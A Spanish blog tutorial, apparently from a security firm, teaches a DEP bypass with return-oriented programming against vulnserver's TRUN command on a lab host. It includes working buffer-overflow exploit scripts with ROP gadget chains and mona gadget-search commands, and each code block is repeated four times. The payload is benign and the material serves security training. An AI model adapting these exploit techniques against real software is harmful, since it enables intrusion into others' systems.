Tabla de contenidos

Title
Tabla de contenidos
Tabla de contenidos
Title

Ataques

Evadir DEP con ROP: ejecutar instrucciones por referencia

cover-evadir-dep-con-rop
Andres Roldan

VP of Hacking

Updated

5 min

En la entrada anterior del blog, presentamos qué es DEP (Data Execution Prevention) y cómo afecta a los exploits comunes de desbordamiento de búfer (buffer overflow).

En este post, mostraremos una forma de evadir DEP usando Return-Oriented Programming (ROP).

ROP

Cuando escribimos un exploit para una vulnerabilidad de desbordamiento de búfer en una aplicación sin DEP, sobrescribimos el puntero de instrucción guardado en el marco de pila (stack frame) de la función afectada con un puntero a algo como JMP ESP (o a cualquier otro registro que apunte a nuestro shellcode). Luego, ubicamos un shellcode en la pila, que finalmente se ejecuta cuando se realiza el JMP ESP.

Cuando realizamos un JMP ESP (o con cualquier otro registro de propósito general), el programa espera encontrar instrucciones en la dirección a la que apunta ESP. Con DEP, no podemos ejecutar instrucciones en la pila, pero seguimos controlando el flujo de ejecución.

¿Qué pasaría si, en lugar de sobrescribir el Saved EIP con un puntero a JMP ESP, lo sobrescribimos con un puntero a una instrucción RETN? La instrucción RETN se usa comúnmente en los epílogos de las funciones y hace una sola cosa: extrae (pop) el valor al que apunta ESP y lo usa como el siguiente puntero de instrucción, o EIP. En otras palabras, RETN espera encontrar en la dirección a la que apunta ESP un puntero a una instrucción, no la instrucción en sí.

Como controlamos el flujo de ejecución y escribimos en la pila, podemos hacer lo que queramos. Busquemos una instrucción RETN:

!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o
!mona find -type instr -s "retn" -p 10 -o

Esto le indica a mona que busque hasta 10 instrucciones RETN. El resultado es:

RETN results

Tomemos la primera, en 62501022, y actualicemos el exploit del post anterior. Esta vez queremos que EAX tenga el valor 0xdeadbeef:

#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
## Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    b'\x31\xc0' +                   # xor eax,eax
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Y veamos qué pasa:

RETN trun-rop

Esto fue lo que pasó:

  1. Pusimos un punto de interrupción (breakpoint) en la dirección de la instrucción RETN.

  2. Ejecutamos el exploit.

  3. El programa se detuvo en el breakpoint.

  4. En ese momento, observa el valor al que apunta ESP: EE05C031.

  5. Ese valor es parte del shellcode inyectado:

    1. xor eax,eax → \x31\xc0

    2. add eax,0xdeadbeee → \x05\xee\xbe\xad\xde (los dos primeros bytes)

  6. Cuando se ejecuta la instrucción RETN, ese valor EE05C031 se almacena en EIP.

Esto significa que podemos reemplazar los bytes EE05C031 por un puntero arbitrario, ¡que se convertirá en la siguiente instrucción a ejecutar!

En nuestro exploit, queremos que EAX = 0xdeadbeef usando tres instrucciones: xor eax,eax, add eax,0xdeadbeee e inc eax. Veamos si podemos encontrar en el entorno de ejecución un puntero que realice la primera operación (xor eax,eax):

Immunity Debugger finding

Encontramos uno en 62501162 que apunta a un xor eax,eax. Actualicemos el exploit y pongamos esa dirección en lugar de la instrucción xor eax,eax:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 62501162  |.  31C0                  XOR EAX,EAX
    struct.pack('<L', 0x62501162) +
    b'\x05\xee\xbe\xad\xde' +       # add eax,0xdeadbeee
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Ejecutémoslo:

RETN trun-rop running again

¡Excelente! Esto fue lo que pasó:

  1. Se alcanzó el puntero a la instrucción RETN.

  2. Cuando se ejecutó RETN, este recuperó el valor al que apunta ESP y actualizó EIP con ese valor.

  3. En nuestro caso, ese valor era un puntero a una instrucción xor eax,eax.

  4. Con eso, ¡el xor eax,eax se ejecutó con éxito! ¡Evadimos DEP!

Sin embargo, hay un problema. Si observas la animación, el flujo de ejecución se desvió hacia donde estaba la instrucción xor eax,eax, pero después perdimos el control.

Necesitamos que EAX = 0xdeadbeee. Hay varias formas de lograrlo. Probamos con xor eax,eax → add eax,0xdeadbeee, pero otra forma es poner el valor 0xdeadbeee en el tope de la pila y luego ejecutar un pop eax. También necesitamos recuperar el control del flujo de ejecución. Para eso, podemos volver a la pila y así ejecutar la última instrucción de nuestro shellcode, inc eax, para que EAX = 0xdeadbeef. Es decir, necesitamos encontrar la dirección de una instrucción pop eax seguida de un retn.

pop eax

¡La encontramos en 625011B4! ¿Ya ves por qué esto se llama ROP? Porque siempre necesitamos regresar (return) a la pila para tomar el siguiente puntero a la próxima instrucción que queremos ejecutar. Para que conste, en términos de ROP, cualquier instrucción o conjunto de instrucciones seguido de un retn se llama gadget.

Nuestro gadget pop eax # retn depende de que la pila tenga el valor 0xdeadbeee en el tope. Actualicemos el exploit:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    b'\x40' +                       # inc eax. Now eax=0xdeadbeef
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Comprobémoslo:

RETN pop eax

Logramos que EAX = 0xdeadbeee usando ROP. Ahora, el paso final es encontrar un puntero a inc eax para que EAX = 0xdeadbeef.

inc eax

Encontramos uno en 00402139. Como esta es la última instrucción de nuestro shellcode, el byte NULL no afectará el exploit. Actualicemos el código:

#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)
#!/usr/bin/env python3
#
# Bypass DEP

import socket
import struct

HOST = '192.168.0.20'
PORT = 9999

PAYLOAD = (
    b'TRUN .' +
    b'A' * 2006 +
    # 62501022  \.  C3                    RETN
    struct.pack('<L', 0x62501022) +
    # 625011B4   .  58                    POP EAX
    # 625011B5   .  C3                    RETN
    struct.pack('<L', 0x625011B4) +
    # Value that will be retrieved by POP EAX
    struct.pack('<L', 0xdeadbeee) +
    # 00402139   .  40                    INC EAX
    struct.pack('<L', 0x00402139) +
    b'C' * 990
)

with socket.create_connection((HOST, PORT)) as fd:
    fd.sendall(PAYLOAD)

Comprobémoslo:

RETN vulnserver trun-rop

¡Logramos que EAX = 0xdeadbeef sin ejecutar una sola instrucción en la pila! ¡Evadimos DEP!

Cómo usar mona para encontrar gadgets

A estas alturas habrás notado que encontrar gadgets útiles puede volverse algo muy tedioso. Por suerte, mona facilita esta tarea. Solo tienes que ejecutar lo siguiente:

!mona rop
!mona rop
!mona rop
!mona rop

Y esperar a que mona haga el trabajo pesado:

mona hard work

Con eso, mona encontrará gadgets utilizables en el entorno de ejecución. En el directorio de mona de la aplicación depurada se crea un archivo llamado rop.txt que contiene todos los gadgets encontrados. mona también genera una propuesta de algo llamado cadenas ROP (ROP chains), que no son más que un conjunto de gadgets ROP encadenados para realizar algo más complejo. No voy a adelantar el próximo post, pero más adelante usaremos cadenas ROP en una explotación más seria.

Conclusiones

Aquí vimos una forma de evadir Data Execution Prevention en un sistema Windows moderno. Sin embargo, el shellcode que usamos era muy básico y solo demostró que es posible evadir DEP. En el próximo post, usaremos ROP para crear algo más complejo.

Empieza ya con la solución de seguridad de aplicaciones de Fluid Attacks

Etiquetas:

formacion

exploit

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Reduce el riesgo sin retrasar tus entregas

Reduce el riesgo sin retrasar tus entregas

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.

Resultados rápidos y exactos desde un único programa de seguridad continuo impulsado por IA, escáneres y pentesters.